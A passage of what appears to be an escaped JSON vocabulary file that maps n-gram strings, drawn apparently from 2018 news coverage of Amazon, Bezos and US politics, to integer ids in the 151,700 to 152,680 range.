151705,\n  \"tweets calling\": 151706,\n  \"screen cap\": 151707,\n  \"aggressively\": 151708,\n  \"esd\": 151709,\n  \"mashed potatoes\": 151710,\n  \"instead buy\": 151711,\n  \"grew slowly\": 151712,\n  \"yachts\": 151713,\n  \"enterprise chief\": 151714,\n  \"great way\": 151715,\n  \"gloating ocasio\": 151716,\n  \"varicella vaccine\": 151717,\n  \"hey feel\": 151718,\n  \"messenger good\": 151719,\n  \"actually useful\": 151720,\n  \"christine blasey\": 151721,\n  \"usfs\": 151722,\n  \"sanders calling\": 151723,\n  \"emperor comfortably\": 151724,\n  \"unconstrained based\": 151725,\n  \"help people\": 151726,\n  \"1736et copyright\": 151727,\n  \"wedded\": 151728,\n  \"reaction suit\": 151729,\n  \"combined elements\": 151730,\n  \"fields\": 151731,\n  \"posted explicit\": 151732,\n  \"opponents called\": 151733,\n  \"single cloud\": 151734,\n  \"sharper relief\": 151735,\n  \"iwan\": 151736,\n  \"remembers chia\": 151737,\n  \"immunity yep\": 151738,\n  \"258 billion\": 151739,\n  \"panel members\": 151740,\n  \"alvah roebuck\": 151741,\n  \"qatar government\": 151742,\n  \"scorecard\": 151743,\n  \"biometric screening\": 151744,\n  \"leave policy\": 151745,\n  \"online super\": 151746,\n  \"media manipulation\": 151747,\n  \"company finally\": 151748,\n  \"day cuomo\": 151749,\n  \"consider finally\": 151750,\n  \"feud continues\": 151751,\n  \"platform companies\": 151752,\n  \"reportedly interested\": 151753,\n  \"amazon struggles\": 151754,\n  \"ernie\": 151755,\n  \"carthage college\": 151756,\n  \"voice remote\": 151757,\n  \"token\": 151758,\n  \"surveyed registered\": 151759,\n  \"building purchasing\": 151760,\n  \"account disappointed\": 151761,\n  \"recording artists\": 151762,\n  \"pole according\": 151763,\n  \"desirability\": 151764,\n  \"coral reefs\": 151765,\n  \"selected new\": 151766,\n  \"unlimited power\": 151767,\n  \"delta air\": 151768,\n  \"forever healthy\": 151769,\n  \"speak directly\": 151770,\n  \"reese\": 151771,\n  \"figure alarms\": 151772,\n  \"living tips\": 151773,\n  \"republican senators\": 151774,\n  \"function hidespinner\": 151775,\n  \"provided technology\": 151776,\n  \"secretary works\": 151777,\n  \"true pointing\": 151778,\n  \"initiatives targeted\": 151779,\n  \"article denouncing\": 151780,\n  \"drive enclosure\": 151781,\n  \"education cuseum\": 151782,\n  \"usual clip\": 151783,\n  \"reap\": 151784,\n  \"raoux\": 151785,\n  \"warner fcc\": 151786,\n  \"hold candlelight\": 151787,\n  \"avoid pay\": 151788,\n  \"spokesman michael\": 151789,\n  \"shauna macdonald\": 151790,\n  \"current bloomberg\": 151791,\n  \"stringify\": 151792,\n  \"india rbi\": 151793,\n  \"pics unfortunately\": 151794,\n  \"surveys asking\": 151795,\n  \"future federal\": 151796,\n  \"select journalists\": 151797,\n  \"including experts\": 151798,\n  \"comb\": 151799,\n  \"glance appears\": 151800,\n  \"sanders plan\": 151801,\n  \"claim true\": 151802,\n  \"revenue tied\": 151803,\n  \"australians\": 151804,\n  \"developers microsoft\": 151805,\n  \"power brokers\": 151806,\n  \"illinois offered\": 151807,\n  \"federal backstop\": 151808,\n  \"member paid\": 151809,\n  \"long position\": 151810,\n  \"article38253336 arrived\": 151811,\n  \"subplot involving\": 151812,\n  \"hiltzik\": 151813,\n  \"ongoing evolution\": 151814,\n  \"high school\": 151815,\n  \"kevin zegers\": 151816,\n  \"holding company\": 151817,\n  \"anchor sanchez\": 151818,\n  \"william\": 151819,\n  \"youtube recent\": 151820,\n  \"economy growing\": 151821,\n  \"headline jeff\": 151822,\n  \"unit congressional\": 151823,\n  \"blasio accuses\": 151824,\n  \"asylum seekers\": 151825,\n  \"zora neale\": 151826,\n  \"opinion articles\": 151827,\n  \"gone long\": 151828,\n  \"orville spaceship\": 151829,\n  \"using nvidia\": 151830,\n  \"state foundation\": 151831,\n  \"7207\": 151832,\n  \"trump isn\": 151833,\n  \"financial strategist\": 151834,\n  \"slower sales\": 151835,\n  \"infantile\": 151836,\n  \"shelley jackson\": 151837,\n  \"personnel changes\": 151838,\n  \"ocean winds\": 151839,\n  \"hostage\": 151840,\n  \"aclu noted\": 151841,\n  \"computer hardware\": 151842,\n  \"satc\": 151843,\n  \"national hit\": 151844,\n  \"vt released\": 151845,\n  \"spider\": 151846,\n  \"buy kohl\": 151847,\n  \"spokeswoman kristen\": 151848,\n  \"ensuring amazon\": 151849,\n  \"similarly threatened\": 151850,\n  \"invent products\": 151851,\n  \"positive people\": 151852,\n  \"queue\": 151853,\n  \"tweeted likewise\": 151854,\n  \"hulk\": 151855,\n  \"google thing\": 151856,\n  \"forestry\": 151857,\n  \"chastising\": 151858,\n  \"harbor\": 151859,\n  \"csr\": 151860,\n  \"eventually filed\": 151861,\n  \"advice information\": 151862,\n  \"states capitol\": 151863,\n  \"conley story\": 151864,\n  \"trump pressured\": 151865,\n  \"female gaze\": 151866,\n  \"treisman\": 151867,\n  \"perfect binge\": 151868,\n  \"viejo california\": 151869,\n  \"nastier personal\": 151870,\n  \"aboard\": 151871,\n  \"start playing\": 151872,\n  \"ipt senior\": 151873,\n  \"jason kint\": 151874,\n  \"uses vine\": 151875,\n  \"foods facebook\": 151876,\n  \"investment investor\": 151877,\n  \"straton\": 151878,\n  \"book makes\": 151879,\n  \"1537et copyright\": 151880,\n  \"stiff opposition\": 151881,\n  \"sentence jeff\": 151882,\n  \"bottomed\": 151883,\n  \"investigating trump\": 151884,\n  \"attempts suicide\": 151885,\n  \"consumption brazilian\": 151886,\n  \"microsoft\": 151887,\n  \"threat according\": 151888,\n  \"videopinner new\": 151889,\n  \"app connecting\": 151890,\n  \"plucky\": 151891,\n  \"treasury guidance\": 151892,\n  \"1795\": 151893,\n  \"deride having\": 151894,\n  \"valley dennisndee\": 151895,\n  \"fm\": 151896,\n  \"aunt millie\": 151897,\n  \"vuukle\": 151898,\n  \"q3 sales\": 151899,\n  \"weekdays\": 151900,\n  \"siccing steve\": 151901,\n  \"generally contributing\": 151902,\n  \"processes lengthy\": 151903,\n  \"spew\": 151904,\n  \"accentuate\": 151905,\n  \"making federal\": 151906,\n  \"brand focusing\": 151907,\n  \"rebuke\": 151908,\n  \"family wealth\": 151909,\n  \"second position\": 151910,\n  \"natural ideological\": 151911,\n  \"county looking\": 151912,\n  \"future benefits\": 151913,\n  \"child brides\": 151914,\n  \"turn rage\": 151915,\n  \"category hurricane\": 151916,\n  \"holiday shipping\": 151917,\n  \"earns 260\": 151918,\n  \"plus pages\": 151919,\n  \"damned trump\": 151920,\n  \"different corporations\": 151921,\n  \"insight needed\": 151922,\n  \"distinction shared\": 151923,\n  \"wayne\": 151924,\n  \"200 puts\": 151925,\n  \"estimated 132\": 151926,\n  \"stock perigon\": 151927,\n  \"supporters launch\": 151928,\n  \"maker private\": 151929,\n  \"platform including\": 151930,\n  \"news fairy\": 151931,\n  \"flatly prohibits\": 151932,\n  \"join thailand\": 151933,\n  \"barbara sharief\": 151934,\n  \"better schools\": 151935,\n  \"likable\": 151936,\n  \"segment microsoft\": 151937,\n  \"kerr strategies\": 151938,\n  \"apache\": 151939,\n  \"year talking\": 151940,\n  \"congressional district\": 151941,\n  \"digital freight\": 151942,\n  \"significant publishing\": 151943,\n  \"seen workers\": 151944,\n  \"actual government\": 151945,\n  \"democrats retake\": 151946,\n  \"stream press\": 151947,\n  \"scientific papers\": 151948,\n  \"a4ee w1\": 151949,\n  \"cannabis market\": 151950,\n  \"houghton\": 151951,\n  \"zinke actions\": 151952,\n  \"stan\": 151953,\n  \"leader mitch\": 151954,\n  \"currency herera\": 151955,\n  \"danaschwartzzz\": 151956,\n  \"enquirer took\": 151957,\n  \"liver\": 151958,\n  \"government pecker\": 151959,\n  \"inactive addclass\": 151960,\n  \"caravan texas\": 151961,\n  \"weighted average\": 151962,\n  \"piece everybody\": 151963,\n  \"generous benefits\": 151964,\n  \"regulators pick\": 151965,\n  \"amazon admitted\": 151966,\n  \"politicians notably\": 151967,\n  \"weekday amazon\": 151968,\n  \"amazon plant\": 151969,\n  \"customers president\": 151970,\n  \"trump patrick\": 151971,\n  \"haired senator\": 151972,\n  \"host mika\": 151973,\n  \"noreika\": 151974,\n  \"possibility brings\": 151975,\n  \"luck\": 151976,\n  \"imposes washington\": 151977,\n  \"person owns\": 151978,\n  \"simply elevating\": 151979,\n  \"making microwave\": 151980,\n  \"college attainment\": 151981,\n  \"t8\": 151982,\n  \"recruit techies\": 151983,\n  \"messages reuters\": 151984,\n  \"colts neck\": 151985,\n  \"promotes violence\": 151986,\n  \"finance ministers\": 151987,\n  \"build border\": 151988,\n  \"sanchez vocal\": 151989,\n  \"speaker rep\": 151990,\n  \"rephrase trump\": 151991,\n  \"make exceptions\": 151992,\n  \"verizon stumbles\": 151993,\n  \"trillion plateau\": 151994,\n  \"depression sears\": 151995,\n  \"imperious especially\": 151996,\n  \"online sanchez\": 151997,\n  \"media hq2\": 151998,\n  \"republican administrations\": 151999,\n  \"predict greater\": 152000,\n  \"year home\": 152001,\n  \"writing people\": 152002,\n  \"seduced\": 152003,\n  \"new rates\": 152004,\n  \"woodward blistering\": 152005,\n  \"tesla bull\": 152006,\n  \"jaffray\": 152007,\n  \"goal trump\": 152008,\n  \"engine plane\": 152009,\n  \"absolutely untrue\": 152010,\n  \"ba inches\": 152011,\n  \"safety network\": 152012,\n  \"uu\": 152013,\n  \"discount grocery\": 152014,\n  \"home small\": 152015,\n  \"report took\": 152016,\n  \"truths\": 152017,\n  \"activist groups\": 152018,\n  \"writing letters\": 152019,\n  \"throw matador\": 152020,\n  \"half wheel\": 152021,\n  \"large signs\": 152022,\n  \"378 shares\": 152023,\n  \"specific ethics\": 152024,\n  \"workers force\": 152025,\n  \"revenues raised\": 152026,\n  \"adverse\": 152027,\n  \"sum amazon\": 152028,\n  \"tiet\\u00ea\": 152029,\n  \"uncovered troubling\": 152030,\n  \"hartnell\": 152031,\n  \"years establishment\": 152032,\n  \"having success\": 152033,\n  \"890 based\": 152034,\n  \"public tolerance\": 152035,\n  \"tv antoni\": 152036,\n  \"midwinter\": 152037,\n  \"taking place\": 152038,\n  \"completely bezos\": 152039,\n  \"clear message\": 152040,\n  \"run competition\": 152041,\n  \"christal\": 152042,\n  \"final signature\": 152043,\n  \"342\": 152044,\n  \"dubious round\": 152045,\n  \"acostas\": 152046,\n  \"ponder eric\": 152047,\n  \"stan lee\": 152048,\n  \"sixteen\": 152049,\n  \"script telling\": 152050,\n  \"bezoss private\": 152051,\n  \"63c\": 152052,\n  \"bombshell reports\": 152053,\n  \"pompeo\": 152054,\n  \"washer\": 152055,\n  \"perpetuated\": 152056,\n  \"past months\": 152057,\n  \"orleans restaurants\": 152058,\n  \"house danielle\": 152059,\n  \"yorkshireis\": 152060,\n  \"entire ecosystem\": 152061,\n  \"hill census\": 152062,\n  \"cloud allowing\": 152063,\n  \"profits grow\": 152064,\n  \"public sector\": 152065,\n  \"griping\": 152066,\n  \"conference headliners\": 152067,\n  \"corp reported\": 152068,\n  \"gain traction\": 152069,\n  \"coveted second\": 152070,\n  \"make toronto\": 152071,\n  \"twitter hours\": 152072,\n  \"earning company\": 152073,\n  \"battle illuminates\": 152074,\n  \"kamhi\": 152075,\n  \"artificial flavours\": 152076,\n  \"brewer ab\": 152077,\n  \"sector officials\": 152078,\n  \"futures skyrocket\": 152079,\n  \"future pension\": 152080,\n  \"meaning poorer\": 152081,\n  \"personality exclusive\": 152082,\n  \"undercount\": 152083,\n  \"tightening general\": 152084,\n  \"office sit\": 152085,\n  \"government types\": 152086,\n  \"state says\": 152087,\n  \"newspolitics\": 152088,\n  \"account 2018\": 152089,\n  \"tower moscow\": 152090,\n  \"dystopia untangling\": 152091,\n  \"hits hyping\": 152092,\n  \"strong strong\": 152093,\n  \"competitive procurement\": 152094,\n  \"titled trump\": 152095,\n  \"price package\": 152096,\n  \"sunset clause\": 152097,\n  \"later siu\": 152098,\n  \"eventually\": 152099,\n  \"spectre\": 152100,\n  \"trilogy called\": 152101,\n  \"platform second\": 152102,\n  \"president subsequently\": 152103,\n  \"reliable package\": 152104,\n  \"trump today\": 152105,\n  \"rare thing\": 152106,\n  \"missing analyst\": 152107,\n  \"eovaldli\": 152108,\n  \"supplement\": 152109,\n  \"bar city\": 152110,\n  \"notadime\": 152111,\n  \"amazon understands\": 152112,\n  \"political conspiracy\": 152113,\n  \"multi modal\": 152114,\n  \"hacking tools\": 152115,\n  \"brief group\": 152116,\n  \"contracts makes\": 152117,\n  \"billion foxconn\": 152118,\n  \"media hypocrisy\": 152119,\n  \"dangerousit\": 152120,\n  \"truth pic\": 152121,\n  \"ask chip\": 152122,\n  \"west hollywood\": 152123,\n  \"ey\": 152124,\n  \"network corp\": 152125,\n  \"electricity prices\": 152126,\n  \"st prelim\": 152127,\n  \"hoover dam\": 152128,\n  \"leather\": 152129,\n  \"interviews sanchez\": 152130,\n  \"photos asia\": 152131,\n  \"potential anticompetitive\": 152132,\n  \"respond\": 152133,\n  \"day trades\": 152134,\n  \"seltzer water\": 152135,\n  \"1051\": 152136,\n  \"documentaries\": 152137,\n  \"rapidly evolving\": 152138,\n  \"riverdale best\": 152139,\n  \"annual revenues\": 152140,\n  \"crn 2018\": 152141,\n  \"gales\": 152142,\n  \"understanding\": 152143,\n  \"key highlight\": 152144,\n  \"ruthless online\": 152145,\n  \"bail\": 152146,\n  \"overseas\": 152147,\n  \"redirecting federal\": 152148,\n  \"fallon reads\": 152149,\n  \"grab sweet\": 152150,\n  \"bison usps\": 152151,\n  \"central brazil\": 152152,\n  \"acknowledged taking\": 152153,\n  \"men trump\": 152154,\n  \"version\": 152155,\n  \"chang matters\": 152156,\n  \"having given\": 152157,\n  \"vets\": 152158,\n  \"reuters david\": 152159,\n  \"push vendors\": 152160,\n  \"later walked\": 152161,\n  \"sears history\": 152162,\n  \"seriously\": 152163,\n  \"shaun mckenzie\": 152164,\n  \"daisies takes\": 152165,\n  \"anchorage\": 152166,\n  \"stays bright\": 152167,\n  \"perne\": 152168,\n  \"look begin\": 152169,\n  \"etf just\": 152170,\n  \"presidential elections\": 152171,\n  \"messages rep\": 152172,\n  \"pecker hinted\": 152173,\n  \"significant scale\": 152174,\n  \"flick based\": 152175,\n  \"synthetic ingredients\": 152176,\n  \"brussels belgium\": 152177,\n  \"minh thu\": 152178,\n  \"land holdings\": 152179,\n  \"woken\": 152180,\n  \"defrauded students\": 152181,\n  \"adams adds\": 152182,\n  \"identify host\": 152183,\n  \"election fraud\": 152184,\n  \"suit 2018\": 152185,\n  \"retailer roberts\": 152186,\n  \"spark wave\": 152187,\n  \"crown netflix\": 152188,\n  \"texts documented\": 152189,\n  \"charm exists\": 152190,\n  \"financial innovation\": 152191,\n  \"signing memorandum\": 152192,\n  \"ceo john\": 152193,\n  \"1963\": 152194,\n  \"snag\": 152195,\n  \"queens republican\": 152196,\n  \"bookscan\": 152197,\n  \"disney nyse\": 152198,\n  \"previously held\": 152199,\n  \"store location\": 152200,\n  \"amzn product\": 152201,\n  \"realism\": 152202,\n  \"delivering amazon\": 152203,\n  \"twtr free\": 152204,\n  \"belching\": 152205,\n  \"weitzman iser\": 152206,\n  \"news executive\": 152207,\n  \"headquarters site\": 152208,\n  \"suckers obviously\": 152209,\n  \"story home\": 152210,\n  \"consumer spending\": 152211,\n  \"michael varner\": 152212,\n  \"ami tried\": 152213,\n  \"republicans did\": 152214,\n  \"headquartershere\": 152215,\n  \"feud seriously\": 152216,\n  \"ag\\u00eancia\": 152217,\n  \"program benefits\": 152218,\n  \"aaliyah added\": 152219,\n  \"island rail\": 152220,\n  \"senate led\": 152221,\n  \"crest\": 152222,\n  \"conservative website\": 152223,\n  \"customized shirts\": 152224,\n  \"latest tactic\": 152225,\n  \"fight edf\": 152226,\n  \"trump father\": 152227,\n  \"gender options\": 152228,\n  \"suffered initially\": 152229,\n  \"alesci cnn\": 152230,\n  \"flat note\": 152231,\n  \"clients attempting\": 152232,\n  \"grant unprecedented\": 152233,\n  \"conference backdrop\": 152234,\n  \"larger stake\": 152235,\n  \"branded devices\": 152236,\n  \"fortunes changed\": 152237,\n  \"crossing border\": 152238,\n  \"google purposefully\": 152239,\n  \"texas woman\": 152240,\n  \"regularly met\": 152241,\n  \"approximately hourly\": 152242,\n  \"progressive thought\": 152243,\n  \"kemp\": 152244,\n  \"flex program\": 152245,\n  \"shop basement\": 152246,\n  \"view david\": 152247,\n  \"rescue firefighters\": 152248,\n  \"corporate officials\": 152249,\n  \"right evan\": 152250,\n  \"spun\": 152251,\n  \"disability equality\": 152252,\n  \"passenger wouldn\": 152253,\n  \"york stunning\": 152254,\n  \"classified data\": 152255,\n  \"challenging trump\": 152256,\n  \"barclays rates\": 152257,\n  \"florence speed\": 152258,\n  \"northward\": 152259,\n  \"virginians\": 152260,\n  \"sand bagging\": 152261,\n  \"pro bono\": 152262,\n  \"tailings vale\": 152263,\n  \"usps photo\": 152264,\n  \"years tune\": 152265,\n  \"mountain higher\": 152266,\n  \"matters trump\": 152267,\n  \"grabyourwallet\": 152268,\n  \"detractors blood\": 152269,\n  \"good neighbors\": 152270,\n  \"agency creative\": 152271,\n  \"wars dominated\": 152272,\n  \"inventioneers\": 152273,\n  \"stingy pay\": 152274,\n  \"large acquisition\": 152275,\n  \"694\": 152276,\n  \"giant wasn\": 152277,\n  \"credit eitc\": 152278,\n  \"descriptiontext late\": 152279,\n  \"yellen favorite\": 152280,\n  \"story citing\": 152281,\n  \"euronext\": 152282,\n  \"caribbean miami\": 152283,\n  \"representatives asked\": 152284,\n  \"plasma lighters\": 152285,\n  \"espinal says\": 152286,\n  \"loyally\": 152287,\n  \"oakland raiders\": 152288,\n  \"defence\": 152289,\n  \"stratford\": 152290,\n  \"buying washing\": 152291,\n  \"racy selfie\": 152292,\n  \"publication entitled\": 152293,\n  \"coalition group\": 152294,\n  \"alaska air\": 152295,\n  \"openly available\": 152296,\n  \"similar point\": 152297,\n  \"rainey covered\": 152298,\n  \"making purchase\": 152299,\n  \"snap snap\": 152300,\n  \"corporate watchdog\": 152301,\n  \"giant upcoming\": 152302,\n  \"think clear\": 152303,\n  \"ago cities\": 152304,\n  \"president party\": 152305,\n  \"showtime documentary\": 152306,\n  \"multiplication\": 152307,\n  \"democrats particularly\": 152308,\n  \"investors appear\": 152309,\n  \"betsy_klein\": 152310,\n  \"retaliation took\": 152311,\n  \"hoft\": 152312,\n  \"1896 psychiatrist\": 152313,\n  \"becker distinctly\": 152314,\n  \"jeanne\": 152315,\n  \"trump high\": 152316,\n  \"324\": 152317,\n  \"look distant\": 152318,\n  \"hike analysts\": 152319,\n  \"mountain\": 152320,\n  \"immunotherapy\": 152321,\n  \"newstage\": 152322,\n  \"schuster continue\": 152323,\n  \"edged positions\": 152324,\n  \"target reported\": 152325,\n  \"disrepute contempt\": 152326,\n  \"record quotes\": 152327,\n  \"isolation\": 152328,\n  \"reportedly closed\": 152329,\n  \"ending crisis\": 152330,\n  \"trump aboard\": 152331,\n  \"chain landmark\": 152332,\n  \"grenfell\": 152333,\n  \"stay\": 152334,\n  \"operating fleet\": 152335,\n  \"site politician\": 152336,\n  \"best google\": 152337,\n  \"good hollywood\": 152338,\n  \"entirely correct\": 152339,\n  \"\\u0430scary \\u0430clearly\": 152340,\n  \"executives sent\": 152341,\n  \"finagling statutes\": 152342,\n  \"tinder matches\": 152343,\n  \"seemingly using\": 152344,\n  \"paints bezos\": 152345,\n  \"axios rep\": 152346,\n  \"privatize\": 152347,\n  \"selling baby\": 152348,\n  \"york proposal\": 152349,\n  \"russian effort\": 152350,\n  \"self educated\": 152351,\n  \"hiring delivery\": 152352,\n  \"anti democratic\": 152353,\n  \"maestro rodrigo\": 152354,\n  \"sanders response\": 152355,\n  \"increased automation\": 152356,\n  \"localized buying\": 152357,\n  \"behemoth targeting\": 152358,\n  \"greg doherty\": 152359,\n  \"fbi trump\": 152360,\n  \"face 2018\": 152361,\n  \"burn comedian\": 152362,\n  \"announces china\": 152363,\n  \"persons\": 152364,\n  \"dominique pineiro\": 152365,\n  \"slam amazon\": 152366,\n  \"evangelical\": 152367,\n  \"giants spend\": 152368,\n  \"admits teacher\": 152369,\n  \"sofia\": 152370,\n  \"mcdowell right\": 152371,\n  \"time horizon\": 152372,\n  \"transfers reported\": 152373,\n  \"kleach6 bloomberg\": 152374,\n  \"obama author\": 152375,\n  \"report private\": 152376,\n  \"dawkins sr\": 152377,\n  \"ago president\": 152378,\n  \"767 planes\": 152379,\n  \"distrust amazon\": 152380,\n  \"man living\": 152381,\n  \"document examining\": 152382,\n  \"label thepresident\": 152383,\n  \"trumpnation citing\": 152384,\n  \"average plunged\": 152385,\n  \"city site\": 152386,\n  \"qid 1539177096\": 152387,\n  \"just fantasy\": 152388,\n  \"center good\": 152389,\n  \"fact airbus\": 152390,\n  \"officials passing\": 152391,\n  \"frigid\": 152392,\n  \"paedos\": 152393,\n  \"tron legacy\": 152394,\n  \"photographer stephen\": 152395,\n  \"associate general\": 152396,\n  \"board meeting\": 152397,\n  \"bezos say\": 152398,\n  \"political allies\": 152399,\n  \"datecreated descriptiontext\": 152400,\n  \"costly researchers\": 152401,\n  \"wipe\": 152402,\n  \"janata party\": 152403,\n  \"balcony began\": 152404,\n  \"haven joined\": 152405,\n  \"transgender women\": 152406,\n  \"zing\": 152407,\n  \"burch nashville\": 152408,\n  \"christ\": 152409,\n  \"blasio amazon\": 152410,\n  \"price 447\": 152411,\n  \"discriminate\": 152412,\n  \"energy infrastructure\": 152413,\n  \"won billion\": 152414,\n  \"toy prices\": 152415,\n  \"bbc stars\": 152416,\n  \"buffoon\": 152417,\n  \"corporate recession\": 152418,\n  \"wrong button\": 152419,\n  \"selection service\": 152420,\n  \"facilities digital\": 152421,\n  \"competing fund\": 152422,\n  \"isn amazon\": 152423,\n  \"focus metapack\": 152424,\n  \"banning conservatives\": 152425,\n  \"doing pull\": 152426,\n  \"preferred phrase\": 152427,\n  \"service fiscal\": 152428,\n  \"women elected\": 152429,\n  \"cgc\": 152430,\n  \"mecklenburg planned\": 152431,\n  \"vallone statement\": 152432,\n  \"economic suicide\": 152433,\n  \"reached peak\": 152434,\n  \"getting hosed\": 152435,\n  \"new section\": 152436,\n  \"transportation northern\": 152437,\n  \"smallbusiness\": 152438,\n  \"intro\": 152439,\n  \"training ground\": 152440,\n  \"okta nasdaq\": 152441,\n  \"chronicles barstow\": 152442,\n  \"statewide issue\": 152443,\n  \"ramell\": 152444,\n  \"readily\": 152445,\n  \"media set\": 152446,\n  \"trump phone\": 152447,\n  \"light new\": 152448,\n  \"chairman larry\": 152449,\n  \"cavazos\": 152450,\n  \"2018bezos\": 152451,\n  \"hillcrest baptist\": 152452,\n  \"ad executives\": 152453,\n  \"won change\": 152454,\n  \"position does\": 152455,\n  \"opt\": 152456,\n  \"khashoggi law\": 152457,\n  \"received talk\": 152458,\n  \"114th\": 152459,\n  \"conservative accounts\": 152460,\n  \"ceo sees\": 152461,\n  \"embarrass\": 152462,\n  \"expand protections\": 152463,\n  \"ibm ibm\": 152464,\n  \"hashtags\": 152465,\n  \"roughly 140\": 152466,\n  \"study claims\": 152467,\n  \"shopping event\": 152468,\n  \"accusations louisiana\": 152469,\n  \"offer tech\": 152470,\n  \"given industry\": 152471,\n  \"abruptly fired\": 152472,\n  \"amazon lifespan\": 152473,\n  \"slogan chosen\": 152474,\n  \"regulators otting\": 152475,\n  \"bankrupt\": 152476,\n  \"big challenge\": 152477,\n  \"mainstream industry\": 152478,\n  \"business appointees\": 152479,\n  \"amazon largest\": 152480,\n  \"manage market\": 152481,\n  \"money katera\": 152482,\n  \"million paypal\": 152483,\n  \"host stephen\": 152484,\n  \"global domination\": 152485,\n  \"pf_rd_r 677dp3p5tenxgcpb032d\": 152486,\n  \"wrestling match\": 152487,\n  \"supercomers\": 152488,\n  \"global logistics\": 152489,\n  \"afp following\": 152490,\n  \"ministries sued\": 152491,\n  \"slayings police\": 152492,\n  \"associates removed\": 152493,\n  \"built great\": 152494,\n  \"jackson heights\": 152495,\n  \"bell small\": 152496,\n  \"similar reactions\": 152497,\n  \"s\\u00e1nchez love\": 152498,\n  \"stocks mentioned\": 152499,\n  \"award senior\": 152500,\n  \"advisers chair\": 152501,\n  \"report noted\": 152502,\n  \"headquarters amid\": 152503,\n  \"aggressively mentioned\": 152504,\n  \"financial transaction\": 152505,\n  \"low brow\": 152506,\n  \"standing revenue\": 152507,\n  \"consumable\": 152508,\n  \"industry partner\": 152509,\n  \"begin second\": 152510,\n  \"won lot\": 152511,\n  \"nadia berenstein\": 152512,\n  \"exotically\": 152513,\n  \"actively pursued\": 152514,\n  \"share purchase\": 152515,\n  \"offers dynamic\": 152516,\n  \"diamond returns\": 152517,\n  \"new extension\": 152518,\n  \"earlier reporting\": 152519,\n  \"small group\": 152520,\n  \"verified\": 152521,\n  \"amazon saying\": 152522,\n  \"reckless plans\": 152523,\n  \"brennan refused\": 152524,\n  \"teasing trump\": 152525,\n  \"push tax\": 152526,\n  \"welcome party\": 152527,\n  \"oft heard\": 152528,\n  \"sexual macron\": 152529,\n  \"cavalry theo\": 152530,\n  \"paul 415\": 152531,\n  \"reinvigorated\": 152532,\n  \"used packaging\": 152533,\n  \"president holds\": 152534,\n  \"noble\": 152535,\n  \"walmart owns\": 152536,\n  \"correct parties\": 152537,\n  \"ami recent\": 152538,\n  \"dangerously exposed\": 152539,\n  \"seasoned stand\": 152540,\n  \"nyse ge\": 152541,\n  \"director bruce\": 152542,\n  \"did shame\": 152543,\n  \"seller walmart\": 152544,\n  \"tariff hopes\": 152545,\n  \"rates hold\": 152546,\n  \"near future\": 152547,\n  \"law addresses\": 152548,\n  \"harcourt\": 152549,\n  \"pulsing wide\": 152550,\n  \"a5q arguments\": 152551,\n  \"trump loving\": 152552,\n  \"competitive pressure\": 152553,\n  \"apparently sent\": 152554,\n  \"model unsustainable\": 152555,\n  \"republicans don\": 152556,\n  \"interior issues\": 152557,\n  \"house public\": 152558,\n  \"food steve\": 152559,\n  \"growing revenues\": 152560,\n  \"recipes inspired\": 152561,\n  \"opposing government\": 152562,\n  \"jackson reports\": 152563,\n  \"data accessibility\": 152564,\n  \"army post\": 152565,\n  \"buy car\": 152566,\n  \"banff\": 152567,\n  \"line jeff\": 152568,\n  \"kaper dale\": 152569,\n  \"justifying\": 152570,\n  \"handle home\": 152571,\n  \"unusual chain\": 152572,\n  \"cohen american\": 152573,\n  \"acidic\": 152574,\n  \"conflicted adding\": 152575,\n  \"sizevery\": 152576,\n  \"second installment\": 152577,\n  \"growth boom\": 152578,\n  \"including dolly\": 152579,\n  \"profitable locations\": 152580,\n  \"giving trump\": 152581,\n  \"won affect\": 152582,\n  \"jabs meaning\": 152583,\n  \"criticizing bezos\": 152584,\n  \"story diamonds\": 152585,\n  \"face compared\": 152586,\n  \"irs form\": 152587,\n  \"city respondents\": 152588,\n  \"pba hope\": 152589,\n  \"offbeat\": 152590,\n  \"achieving amazon\": 152591,\n  \"tax funded\": 152592,\n  \"governments gardner\": 152593,\n  \"messy desk\": 152594,\n  \"weren paying\": 152595,\n  \"slumped\": 152596,\n  \"conservative trump\": 152597,\n  \"unsafe high\": 152598,\n  \"products directly\": 152599,\n  \"security startup\": 152600,\n  \"entry restrictions\": 152601,\n  \"frequently resides\": 152602,\n  \"dramatic maps\": 152603,\n  \"diagnostic\": 152604,\n  \"publication expose\": 152605,\n  \"unwittingly ordered\": 152606,\n  \"land amazon\": 152607,\n  \"barely existent\": 152608,\n  \"promoting good\": 152609,\n  \"tennesseans rolfe\": 152610,\n  \"today micron\": 152611,\n  \"maloney points\": 152612,\n  \"blame\": 152613,\n  \"nappi conneaut\": 152614,\n  \"aidy bryant\": 152615,\n  \"set mosque\": 152616,\n  \"elaborate\": 152617,\n  \"process jeff\": 152618,\n  \"specifically took\": 152619,\n  \"brooklyn attorney\": 152620,\n  \"sanders want\": 152621,\n  \"watch pepsico\": 152622,\n  \"stock way\": 152623,\n  \"2009 larry\": 152624,\n  \"saks lord\": 152625,\n  \"inhabitant\": 152626,\n  \"contradict\": 152627,\n  \"settlement microsoft\": 152628,\n  \"dannyzuker author\": 152629,\n  \"consumers primarily\": 152630,\n  \"victims act\": 152631,\n  \"foreign labor\": 152632,\n  \"perplexing\": 152633,\n  \"members mark\": 152634,\n  \"technology developed\": 152635,\n  \"big fat\": 152636,\n  \"funded welfare\": 152637,\n  \"examine postal\": 152638,\n  \"decided amazon\": 152639,\n  \"week sparking\": 152640,\n  \"just sleepwalks\": 152641,\n  \"apis\": 152642,\n  \"numerous lewd\": 152643,\n  \"dominance ft\": 152644,\n  \"freedom fighters\": 152645,\n  \"afternoon walmart\": 152646,\n  \"jamal khashoggi\": 152647,\n  \"performing deliveries\": 152648,\n  \"prime rate\": 152649,\n  \"began creating\": 152650,\n  \"business sectors\": 152651,\n  \"risk possible\": 152652,\n  \"marketwatch bezos\": 152653,\n  \"amazon launch\": 152654,\n  \"detect unhealthy\": 152655,\n  \"counterpunched\": 152656,\n  \"revamped\": 152657,\n  \"monies\": 152658,\n  \"just trade\": 152659,\n  \"nerve ami\": 152660,\n  \"prescriptive\": 152661,\n  \"hasn reached\": 152662,\n  \"david stonesifer\": 152663,\n  \"tracking tinder\": 152664,\n  \"headquarters queens\": 152665,\n  \"obviously divided\": 152666,\n  \"cortez jokes\": 152667,\n  \"birthday\": 152668,\n  \"various news\": 152669,\n  \"involving civil\": 152670,\n  \"content rachel\": 152671,\n  \"award statue\": 152672,\n  \"akron act\": 152673,\n  \"state police\": 152674,\n  \"suddenly reappears\": 152675,\n  \"private summit\": 152676,\n  \"wallstreetjournal usatoday\": 152677,\n  \"bdt capital\": 152678,\n  \"200 dma\": 152679,\n  \"dis free\": 152680,\n  